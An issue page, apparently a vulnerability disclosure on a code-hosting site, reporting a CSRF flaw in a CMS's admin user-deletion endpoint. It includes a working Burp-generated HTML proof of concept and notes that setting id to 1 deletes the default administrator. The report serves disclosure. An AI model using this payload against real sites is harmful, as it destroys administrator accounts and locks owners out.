1 Star 0 Fork 0

Pwn师傅/Pwn

 / 详情

There is a CSRF vulnerability in the administrator account

待办的
拥有者
创建于  
2022-10-18 11:47

After the administrator logs in, open this page

User list:

delete.html --Delete User
POC:

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.154.82:81/index.php">
    <input type="hidden" name="s" value="admin" />
    <input type="hidden" name="c" value="member" />
    <input type="hidden" name="a" value="del" />
    <input type="hidden" name="modelid" value="6" />
    <input type="hidden" name="id" value="2" />
    <input type="submit" value="Submit request" />
</form>
</body>
</html>

Among them, in name="id" value="2" the admin account ID of the default system administrator is 1.
Changing the value="2" to 1 can delete the default administrator account that comes with the system,
which makes it impossible to log in!
The test screenshot is as follows:

输入图片说明
A new system administrator account named kali is created here to verify the deletion of the CSRF
输入图片说明
BurpSuite grabs the data package and sends it to the CSRF generation module of Engagement tools
输入图片说明
输入图片说明
Save the contents of the POC CSRF as delete.html, and then open it
输入图片说明
输入图片说明
输入图片说明
Visible, the kali system administrator account has been deleted

评论 (0)

Pwn师傅 创建了任务 3年前
Pwn师傅 修改了描述 3年前
Pwn师傅 修改了描述 3年前
Pwn师傅 修改了描述 3年前
Pwn师傅 修改了描述 3年前
展开全部操作日志

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(1)
8192872 ctf hacker 1677944769
1
https://gitee.com/CTF-hacker/pwn.git
git@gitee.com:CTF-hacker/pwn.git
CTF-hacker
pwn
Pwn

搜索帮助